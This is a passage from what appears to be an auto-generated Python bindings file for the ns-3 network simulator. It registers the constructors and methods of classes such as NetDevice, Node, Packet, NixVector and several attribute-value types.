cls.add_method('SetAddress', 'void', [param('ns3::Address', 'address')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetIfIndex(uint32_t const index) [member function] cls.add_method('SetIfIndex', 'void', [param('uint32_t const', 'index')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SetMtu(uint16_t const mtu) [member function] cls.add_method('SetMtu', 'bool', [param('uint16_t const', 'mtu')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('SetNode', 'void', [param('ns3::Ptr< ns3::Node >', 'node')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetPromiscReceiveCallback(ns3::Callback<bool,ns3::Ptr<ns3::NetDevice>,ns3::Ptr<const ns3::Packet>,short unsigned int,const ns3::Address&,const ns3::Address&,ns3::NetDevice::PacketType,ns3::empty,ns3::empty,ns3::empty> cb) [member function] cls.add_method('SetPromiscReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, short unsigned int, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDevice::SetReceiveCallback(ns3::Callback<bool,ns3::Ptr<ns3::NetDevice>,ns3::Ptr<const ns3::Packet>,short unsigned int,const ns3::Address&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> cb) [member function] cls.add_method('SetReceiveCallback', 'void', [param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, short unsigned int, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_pure_virtual=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::NetDevice::SupportsSendFrom() const [member function] cls.add_method('SupportsSendFrom', 'bool', [], is_pure_virtual=True, is_const=True, is_virtual=True) return def register_Ns3NetDeviceQueue_methods(root_module, cls): ## net-device.h (module 'network'): ns3::NetDeviceQueue::NetDeviceQueue(ns3::NetDeviceQueue const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDeviceQueue const &', 'arg0')]) ## net-device.h (module 'network'): ns3::NetDeviceQueue::NetDeviceQueue() [constructor] cls.add_constructor([]) ## net-device.h (module 'network'): ns3::Ptr<ns3::QueueLimits> ns3::NetDeviceQueue::GetQueueLimits() [member function] cls.add_method('GetQueueLimits', 'ns3::Ptr< ns3::QueueLimits >', []) ## net-device.h (module 'network'): bool ns3::NetDeviceQueue::IsStopped() const [member function] cls.add_method('IsStopped', 'bool', [], is_const=True) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::NotifyQueuedBytes(uint32_t bytes) [member function] cls.add_method('NotifyQueuedBytes', 'void', [param('uint32_t', 'bytes')]) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::NotifyTransmittedBytes(uint32_t bytes) [member function] cls.add_method('NotifyTransmittedBytes', 'void', [param('uint32_t', 'bytes')]) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::ResetQueueLimits() [member function] cls.add_method('ResetQueueLimits', 'void', []) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::SetQueueLimits(ns3::Ptr<ns3::QueueLimits> ql) [member function] cls.add_method('SetQueueLimits', 'void', [param('ns3::Ptr< ns3::QueueLimits >', 'ql')]) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::SetWakeCallback(ns3::Callback<void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetWakeCallback', 'void', [param('ns3::Callback< void, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')], is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::Start() [member function] cls.add_method('Start', 'void', [], is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::Stop() [member function] cls.add_method('Stop', 'void', [], is_virtual=True) ## net-device.h (module 'network'): void ns3::NetDeviceQueue::Wake() [member function] cls.add_method('Wake', 'void', [], is_virtual=True) return def register_Ns3NetDeviceQueueInterface_methods(root_module, cls): ## net-device.h (module 'network'): ns3::NetDeviceQueueInterface::NetDeviceQueueInterface(ns3::NetDeviceQueueInterface const & arg0) [copy constructor] cls.add_constructor([param('ns3::NetDeviceQueueInterface const &', 'arg0')]) ## net-device.h (module 'network'): ns3::NetDeviceQueueInterface::NetDeviceQueueInterface() [constructor] cls.add_constructor([]) ## net-device.h (module 'network'): void ns3::NetDeviceQueueInterface::CreateTxQueues() [member function] cls.add_method('CreateTxQueues', 'void', []) ## net-device.h (module 'network'): uint8_t ns3::NetDeviceQueueInterface::GetNTxQueues() const [member function] cls.add_method('GetNTxQueues', 'uint8_t', [], is_const=True) ## net-device.h (module 'network'): ns3::Callback<unsigned char, ns3::Ptr<ns3::QueueItem>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::NetDeviceQueueInterface::GetSelectQueueCallback() const [member function] cls.add_method('GetSelectQueueCallback', 'ns3::Callback< unsigned char, ns3::Ptr< ns3::QueueItem >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', [], is_const=True) ## net-device.h (module 'network'): ns3::Ptr<ns3::NetDeviceQueue> ns3::NetDeviceQueueInterface::GetTxQueue(uint8_t i) const [member function] cls.add_method('GetTxQueue', 'ns3::Ptr< ns3::NetDeviceQueue >', [param('uint8_t', 'i')], is_const=True) ## net-device.h (module 'network'): static ns3::TypeId ns3::NetDeviceQueueInterface::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## net-device.h (module 'network'): void ns3::NetDeviceQueueInterface::SetSelectQueueCallback(ns3::Callback<unsigned char, ns3::Ptr<ns3::QueueItem>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function] cls.add_method('SetSelectQueueCallback', 'void', [param('ns3::Callback< unsigned char, ns3::Ptr< ns3::QueueItem >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')]) ## net-device.h (module 'network'): void ns3::NetDeviceQueueInterface::SetTxQueuesN(uint8_t numTxQueues) [member function] cls.add_method('SetTxQueuesN', 'void', [param('uint8_t', 'numTxQueues')]) ## net-device.h (module 'network'): void ns3::NetDeviceQueueInterface::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3NixVector_methods(root_module, cls): cls.add_output_stream_operator() ## nix-vector.h (module 'network'): ns3::NixVector::NixVector() [constructor] cls.add_constructor([]) ## nix-vector.h (module 'network'): ns3::NixVector::NixVector(ns3::NixVector const & o) [copy constructor] cls.add_constructor([param('ns3::NixVector const &', 'o')]) ## nix-vector.h (module 'network'): void ns3::NixVector::AddNeighborIndex(uint32_t newBits, uint32_t numberOfBits) [member function] cls.add_method('AddNeighborIndex', 'void', [param('uint32_t', 'newBits'), param('uint32_t', 'numberOfBits')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::BitCount(uint32_t numberOfNeighbors) const [member function] cls.add_method('BitCount', 'uint32_t', [param('uint32_t', 'numberOfNeighbors')], is_const=True) ## nix-vector.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::NixVector::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::NixVector >', [], is_const=True) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Deserialize(uint32_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint32_t const *', 'buffer'), param('uint32_t', 'size')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::ExtractNeighborIndex(uint32_t numberOfBits) [member function] cls.add_method('ExtractNeighborIndex', 'uint32_t', [param('uint32_t', 'numberOfBits')]) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetRemainingBits() [member function] cls.add_method('GetRemainingBits', 'uint32_t', []) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Serialize(uint32_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint32_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3Node_methods(root_module, cls): ## node.h (module 'network'): ns3::Node::Node(ns3::Node const & arg0) [copy constructor] cls.add_constructor([param('ns3::Node const &', 'arg0')]) ## node.h (module 'network'): ns3::Node::Node() [constructor] cls.add_constructor([]) ## node.h (module 'network'): ns3::Node::Node(uint32_t systemId) [constructor] cls.add_constructor([param('uint32_t', 'systemId')]) ## node.h (module 'network'): uint32_t ns3::Node::AddApplication(ns3::Ptr<ns3::Application> application) [member function] cls.add_method('AddApplication', 'uint32_t', [param('ns3::Ptr< ns3::Application >', 'application')]) ## node.h (module 'network'): uint32_t ns3::Node::AddDevice(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddDevice', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')]) ## node.h (module 'network'): static bool ns3::Node::ChecksumEnabled() [member function] cls.add_method('ChecksumEnabled', 'bool', [], is_static=True) ## node.h (module 'network'): ns3::Ptr<ns3::Application> ns3::Node::GetApplication(uint32_t index) const [member function] cls.add_method('GetApplication', 'ns3::Ptr< ns3::Application >', [param('uint32_t', 'index')], is_const=True) ## node.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Node::GetDevice(uint32_t index) const [member function] cls.add_method('GetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'index')], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetId() const [member function] cls.add_method('GetId', 'uint32_t', [], is_const=True) ## node.h (module 'network'): ns3::Time ns3::Node::GetLocalTime() const [member function] cls.add_method('GetLocalTime', 'ns3::Time', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetNApplications() const [member function] cls.add_method('GetNApplications', 'uint32_t', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetNDevices() const [member function] cls.add_method('GetNDevices', 'uint32_t', [], is_const=True) ## node.h (module 'network'): uint32_t ns3::Node::GetSystemId() const [member function] cls.add_method('GetSystemId', 'uint32_t', [], is_const=True) ## node.h (module 'network'): static ns3::TypeId ns3::Node::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## node.h (module 'network'): void ns3::Node::RegisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function] cls.add_method('RegisterDeviceAdditionListener', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')]) ## node.h (module 'network'): void ns3::Node::RegisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler, uint16_t protocolType, ns3::Ptr<ns3::NetDevice> device, bool promiscuous=false) [member function] cls.add_method('RegisterProtocolHandler', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler'), param('uint16_t', 'protocolType'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'promiscuous', default_value='false')]) ## node.h (module 'network'): void ns3::Node::UnregisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function] cls.add_method('UnregisterDeviceAdditionListener', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')]) ## node.h (module 'network'): void ns3::Node::UnregisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler) [member function] cls.add_method('UnregisterProtocolHandler', 'void', [param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler')]) ## node.h (module 'network'): void ns3::Node::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## node.h (module 'network'): void ns3::Node::DoInitialize() [member function] cls.add_method('DoInitialize', 'void', [], visibility='protected', is_virtual=True) return def register_Ns3ObjectFactoryChecker_methods(root_module, cls): ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker(ns3::ObjectFactoryChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactoryChecker const &', 'arg0')]) return def register_Ns3ObjectFactoryValue_methods(root_module, cls): ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue() [constructor] cls.add_constructor([]) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactoryValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::ObjectFactoryValue const &', 'arg0')]) ## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactory const & value) [constructor] cls.add_constructor([param('ns3::ObjectFactory const &', 'value')]) ## object-factory.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::ObjectFactoryValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## object-factory.h (module 'core'): bool ns3::ObjectFactoryValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## object-factory.h (module 'core'): ns3::ObjectFactory ns3::ObjectFactoryValue::Get() const [member function] cls.add_method('Get', 'ns3::ObjectFactory', [], is_const=True) ## object-factory.h (module 'core'): std::string ns3::ObjectFactoryValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## object-factory.h (module 'core'): void ns3::ObjectFactoryValue::Set(ns3::ObjectFactory const & value) [member function] cls.add_method('Set', 'void', [param('ns3::ObjectFactory const &', 'value')]) return def register_Ns3OutputStreamWrapper_methods(root_module, cls): ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(ns3::OutputStreamWrapper const & arg0) [copy constructor] cls.add_constructor([param('ns3::OutputStreamWrapper const &', 'arg0')]) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::string filename, std::_Ios_Openmode filemode) [constructor] cls.add_constructor([param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode')]) ## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::ostream * os) [constructor] cls.add_constructor([param('std::ostream *', 'os')]) ## output-stream-wrapper.h (module 'network'): std::ostream * ns3::OutputStreamWrapper::GetStream() [member function] cls.add_method('GetStream', 'std::ostream *', []) return def register_Ns3Packet_methods(root_module, cls): cls.add_output_stream_operator() ## packet.h (module 'network'): ns3::Packet::Packet() [constructor] cls.add_constructor([]) ## packet.h (module 'network'): ns3::Packet::Packet(ns3::Packet const & o) [copy constructor] cls.add_constructor([param('ns3::Packet const &', 'o')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint32_t size) [constructor] cls.add_constructor([param('uint32_t', 'size')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size, bool magic) [constructor] cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size'), param('bool', 'magic')]) ## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size) [constructor] cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::AddAtEnd(ns3::Ptr<const ns3::Packet> packet) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Ptr< ns3::Packet const >', 'packet')]) ## packet.h (module 'network'): void ns3::Packet::AddByteTag(ns3::Tag const & tag) const [member function] cls.add_method('AddByteTag', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::AddHeader(ns3::Header const & header) [member function] cls.add_method('AddHeader', 'void', [param('ns3::Header const &', 'header')]) ## packet.h (module 'network'): void ns3::Packet::AddPacketTag(ns3::Tag const & tag) const [member function] cls.add_method('AddPacketTag', 'void', [param('ns3::Tag const &', 'tag')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::AddPaddingAtEnd(uint32_t size) [member function] cls.add_method('AddPaddingAtEnd', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::AddTrailer(ns3::Trailer const & trailer) [member function] cls.add_method('AddTrailer', 'void', [param('ns3::Trailer const &', 'trailer')]) ## packet.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::Packet::BeginItem() const [member function] cls.add_method('BeginItem', 'ns3::PacketMetadata::ItemIterator', [], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::Packet >', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Ptr< ns3::Packet >', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## packet.h (module 'network'): static void ns3::Packet::EnableChecking() [member function] cls.add_method('EnableChecking', 'void', [], is_static=True) ## packet.h (module 'network'): static void ns3::Packet::EnablePrinting() [member function] cls.add_method('EnablePrinting', 'void', [], is_static=True) ## packet.h (module 'network'): bool ns3::Packet::FindFirstMatchingByteTag(ns3::Tag & tag) const [member function] cls.add_method('FindFirstMatchingByteTag', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator ns3::Packet::GetByteTagIterator() const [member function] cls.add_method('GetByteTagIterator', 'ns3::ByteTagIterator', [], is_const=True) ## packet.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::Packet::GetNixVector() const [member function] cls.add_method('GetNixVector', 'ns3::Ptr< ns3::NixVector >', [], is_const=True) ## packet.h (module 'network'): ns3::PacketTagIterator ns3::Packet::GetPacketTagIterator() const [member function] cls.add_method('GetPacketTagIterator', 'ns3::PacketTagIterator', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint64_t ns3::Packet::GetUid() const [member function] cls.add_method('GetUid', 'uint64_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::PeekHeader(ns3::Header & header) const [member function] cls.add_method('PeekHeader', 'uint32_t', [param('ns3::Header &', 'header')], is_const=True) ## packet.h (module 'network'): bool ns3::Packet::PeekPacketTag(ns3::Tag & tag) const [member function] cls.add_method('PeekPacketTag', 'bool', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): uint32_t ns3::Packet::PeekTrailer(ns3::Trailer & trailer) [member function] cls.add_method('PeekTrailer', 'uint32_t', [param('ns3::Trailer &', 'trailer')]) ## packet.h (module 'network'): void ns3::Packet::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::PrintByteTags(std::ostream & os) const [member function] cls.add_method('PrintByteTags', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::PrintPacketTags(std::ostream & os) const [member function] cls.add_method('PrintPacketTags', 'void', [param('std::ostream &', 'os')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::RemoveAllByteTags() [member function] cls.add_method('RemoveAllByteTags', 'void', []) ## packet.h (module 'network'): void ns3::Packet::RemoveAllPacketTags() [member function] cls.add_method('RemoveAllPacketTags', 'void', []) ## packet.h (module 'network'): void ns3::Packet::RemoveAtEnd(uint32_t size) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): void ns3::Packet::RemoveAtStart(uint32_t size) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'size')]) ## packet.h (module 'network'): uint32_t ns3::Packet::RemoveHeader(ns3::Header & header) [member function] cls.add_method('RemoveHeader', 'uint32_t', [param('ns3::Header &', 'header')]) ## packet.h (module 'network'): bool ns3::Packet::RemovePacketTag(ns3::Tag & tag) [member function] cls.add_method('RemovePacketTag', 'bool', [param('ns3::Tag &', 'tag')]) ## packet.h (module 'network'): uint32_t ns3::Packet::RemoveTrailer(ns3::Trailer & trailer) [member function] cls.add_method('RemoveTrailer', 'uint32_t', [param('ns3::Trailer &', 'trailer')]) ## packet.h (module 'network'): bool ns3::Packet::ReplacePacketTag(ns3::Tag & tag) [member function] cls.add_method('ReplacePacketTag', 'bool', [param('ns3::Tag &', 'tag')]) ## packet.h (module 'network'): uint32_t ns3::Packet::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) ## packet.h (module 'network'): void ns3::Packet::SetNixVector(ns3::Ptr<ns3::NixVector> nixVector) [member function] cls.add_method('SetNixVector', 'void', [param('ns3::Ptr< ns3::NixVector >', 'nixVector')]) ## packet.h (module 'network'): std::string ns3::Packet::ToString() const [member function] cls.add_method('ToString', 'std::string', [], is_const=True) return def register_Ns3QueueItem_methods(root_module, cls): cls.add_output_stream_operator() ## net-device.h (module 'network'): ns3::QueueItem::QueueItem(ns3::Ptr<ns3::Packet> p) [constructor] cls.add_constructor([param('ns3::Ptr< ns3::Packet >', 'p')]) ## net-device.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::QueueItem::GetPacket() const [member function] cls.add_method('GetPacket', 'ns3::Ptr< ns3::Packet >', [], is_const=True) ## net-device.h (module 'network'): uint32_t ns3::QueueItem::GetPacketSize() const [member function] cls.add_method('GetPacketSize', 'uint32_t', [], is_const=True, is_virtual=True) ## net-device.h (module 'network'): bool ns3::QueueItem::GetUint8Value(ns3::QueueItem::Uint8Values field, uint8_t & value) const [member function] cls.add_method('GetUint8Value', 'bool', [param('ns3::QueueItem::Uint8Values', 'field'), param('uint8_t &', 'value')], is_const=True, is_virtual=True) ## net-device.h (module 'network'): void ns3::QueueItem::Print(std::ostream & os) const [member function] cls.add_method('Print', 'void', [param('std::ostream &', 'os')], is_const=True, is_virtual=True) return def register_Ns3TimeValue_methods(root_module, cls): ## nstime.h (module 'core'): ns3::TimeValue::TimeValue() [constructor] cls.add_constructor([]) ## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::TimeValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::TimeValue const &', 'arg0')]) ## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::Time const & value) [constructor] cls.add_constructor([param('ns3::Time const &', 'value')]) ## nstime.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TimeValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## nstime.h (module 'core'): bool ns3::TimeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## nstime.h (module 'core'): ns3::Time ns3::TimeValue::Get() const [member function] cls.add_method('Get', 'ns3::Time', [], is_const=True) ## nstime.h (module 'core'): std::string ns3::TimeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## nstime.h (module 'core'): void ns3::TimeValue::Set(ns3::Time const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Time const &', 'value')]) return def register_Ns3TypeIdChecker_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeIdChecker::TypeIdChecker(ns3::TypeIdChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeIdChecker const &', 'arg0')]) return def register_Ns3TypeIdValue_methods(root_module, cls): ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue() [constructor] cls.add_constructor([]) ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeIdValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::TypeIdValue const &', 'arg0')]) ## type-id.h (module 'core'): ns3::TypeIdValue::TypeIdValue(ns3::TypeId const & value) [constructor] cls.add_constructor([param('ns3::TypeId const &', 'value')]) ## type-id.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TypeIdValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## type-id.h (module 'core'): bool ns3::TypeIdValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## type-id.h (module 'core'): ns3::TypeId ns3::TypeIdValue::Get() const [member function] cls.add_method('Get', 'ns3::TypeId', [], is_const=True) ## type-id.h (module 'core'): std::string ns3::TypeIdValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## type-id.h (module 'core'): void ns3::TypeIdValue::Set(ns3::TypeId const & value) [member function] cls.add_method('Set', 'void', [param('ns3::TypeId const &', 'value')]) return def register_Ns3AddressChecker_methods(root_module, cls): ## address.h (module 'network'): ns3::AddressChecker::AddressChecker() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::AddressChecker::AddressChecker(ns3::AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::AddressChecker const &', 'arg0')]) return def register_Ns3AddressValue_methods(root_module, cls): ## address.h (module 'network'): ns3::AddressValue::AddressValue() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::AddressValue const &', 'arg0')]) ## address.h (module 'network'): ns3::AddressValue::AddressValue(ns3::Address const & value) [constructor] cls.add_constructor([param('ns3::Address const &', 'value')]) ## address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## address.h (module 'network'): bool ns3::AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## address.h (module 'network'): ns3::Address ns3::AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Address', [], is_const=True) ## address.h (module 'network'): std::string ns3::AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## address.h (module 'network'): void ns3::AddressValue::Set(ns3::Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Address const &', 'value')]) return def register_Ns3HashImplementation_methods(root_module, cls): ## hash-function.h (module 'core'): 